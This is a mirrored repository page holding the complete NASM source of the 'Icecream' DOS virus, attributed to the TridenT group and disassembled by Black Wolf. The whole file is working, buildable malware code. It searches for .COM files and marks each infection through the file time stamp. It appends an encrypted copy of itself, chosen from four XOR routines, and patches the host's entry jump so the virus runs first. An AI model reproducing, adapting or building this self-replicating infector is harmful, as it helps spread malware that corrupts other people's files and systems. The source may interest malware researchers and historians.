mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
260 lines
6.2 KiB
NASM
260 lines
6.2 KiB
NASM
;Icecream Virus by the TridenT virus research group.
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;This is a simple direct-action com virus that uses one of
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;4 encryption algorithms to encrypt itself each time it infects a file.
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;It will infect one .COM file in the current directory every time it is
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;executed. It marks infections with the time stamp.
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;Disassembly by Black Wolf
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.model tiny
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.code
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org 100h
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start:
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db 0e9h,0ch,0 ;jmp Virus_Entry
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Author_Name db 'John Tardy'
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db 0E2h,0FAh
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Virus_Entry:
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push ax
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call Get_Offset
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Get_Offset:
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pop ax
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sub ax,offset Get_Offset
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db 89h,0c5h ;mov bp,ax
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lea si,[bp+Storage]
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mov di,100h ;Restore file
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movsw
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movsb
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mov ah,1Ah
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mov dx,0f900h
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int 21h ;Set DTA
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mov ah,4Eh
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FindFirstNext:
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lea dx,[bp+ComMask]
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xor cx,cx
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int 21h ;Find File
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jnc InfectFile
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Restore_DTA:
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mov ah,1Ah
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mov dx,80h
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int 21h ;Set DTA to default
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mov bx,offset start
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pop ax ;Return to host
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push bx
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retn
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InfectFile:
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mov ax,4300h
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mov dx,0f91eh
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int 21h ;Get file attribs
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push cx ;save 'em
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mov ax,4301h
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xor cx,cx
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int 21h ;Set them to 0
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mov ax,3D02h
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int 21h ;Open file
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mov bx,5700h
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xchg ax,bx
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int 21h ;Get file time
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push cx
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push dx ;save it
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and cx,1Fh
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cmp cx,1 ;check for infection
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jne ContinueInfection
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db 0e9h,69h,0 ;jmp DoneInfect
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ContinueInfection:
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mov ah,3Fh
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lea dx,[bp+Storage]
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mov cx,3
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int 21h ;Read in first 3 bytes
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mov ax,cs:[Storage+bp]
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cmp ax,4D5Ah ;Is it an EXE?
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je DoneInfect
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cmp ax,5A4Dh
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je DoneInfect ;Other EXE signature?
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pop dx
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pop cx
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and cx,0FFE0h ;Change stored time values
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or cx,1 ;to mark infection
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push cx
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push dx
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mov ax,4202h ;Go to the end of the file
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call Move_FP
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sub ax,3
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mov cs:[JumpSize+bp],ax ;Save jump size
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add ax,10Fh ;Save encryption starting
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mov word ptr [bp+EncPtr1+1],ax ;point....
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mov word ptr [bp+EncPtr2+1],ax
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mov word ptr [bp+EncPtr3+1],ax
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mov word ptr [bp+EncPtr4+1],ax
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call SetupEncryption ;Encrypt virus
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mov ah,40h
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mov dx,0fa00h
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mov cx,1F5h
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int 21h ;Write virus to file
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mov ax,4200h
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call Move_FP ;Go to the beginning of file
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mov ah,40h
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lea dx,[bp+JumpBytes]
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mov cx,3
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int 21h ;Write in jump
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call FinishFile
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jmp Restore_DTA
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DoneInfect:
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call FinishFile
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mov ah,4Fh
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jmp FindFirstNext
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Move_FP:
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xor cx,cx
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xor dx,dx
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int 21h
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ret
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FinishFile:
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pop si dx cx
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mov ax,5701h ;Reset file time/date stamp
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int 21h ;(or mark infection)
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mov ah,3Eh
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int 21h ;Close new host file
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mov ax,4301h
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pop cx
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mov dx,0fc1eh
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int 21h ;Restore old attributes
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push si
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retn
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Message db ' I scream, you scream, we both '
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db 'scream for an ice-cream! '
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SetupEncryption:
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xor byte ptr [bp+10Dh],2
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xor ax,ax
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mov es,ax
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mov ax,es:[46ch] ;Get random number
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push cs
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pop es
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push ax
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and ax,7FFh
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add ax,1E9h
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mov word ptr [bp+EncSize1+1],ax
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mov word ptr [bp+EncSize2+1],ax
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mov word ptr [bp+EncSize3+1],ax
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mov word ptr [bp+EncSize4+1],ax
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pop ax
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push ax
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and ax,3
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shl ax,1
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mov si,ax
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mov ax,[bp+si+EncData1]
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add ax,bp
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mov si,ax
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lea di,[bp+103h]
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movsw
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movsw
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movsw
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movsw ;Copy Encryption Algorithm
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pop ax
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stosb
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movsb
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mov dl,al
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lea si,[bp+103h]
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mov di,0fa00h
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mov cx,0Ch
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rep movsb
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lea si,[bp+10Fh]
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mov cx,1E9h
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EncryptVirus:
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lodsb
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db 30h,0d0h ;xor al,dl
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stosb
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loop EncryptVirus
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cmp dl,0
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je KeyWasZero
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retn
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KeyWasZero: ;If key is zero, increase
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mov si,offset AuthorName ;jump size and place name
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mov di,0fa00h ;at beginning....
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mov cx,0Ah
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rep movsb
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mov ax,cs:[JumpSize+bp]
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add ax,0Ch
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mov cs:[JumpSize+bp],ax
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retn
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db '[TridenT]'
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EncData1 dw 02beh
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EncData2 dw 02c7h
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EncData3 dw 02d0h
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EncData4 dw 02d9h
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Encryptions:
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;------------------------------------------------------------
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EncPtr1:
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mov si,0
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EncSize1:
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mov cx,0
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xor byte ptr [si],46h
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;------------------------------------------------------------
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EncPtr2:
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mov di,0
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EncSize2:
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mov cx,0
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xor byte ptr [di],47h
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;------------------------------------------------------------
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EncSize3:
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mov cx,0
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EncPtr3:
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mov si,0
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xor byte ptr [si],46h
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;------------------------------------------------------------
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EncSize4:
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mov cx,0
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EncPtr4:
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mov di,0
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xor byte ptr [di],47h
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;------------------------------------------------------------
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AuthorName db 'John Tardy'
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JumpBytes db 0E9h
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JumpSize dw 0
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ComMask db '*.CoM',0
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Storage dw 20CDh
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db 21h
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end start
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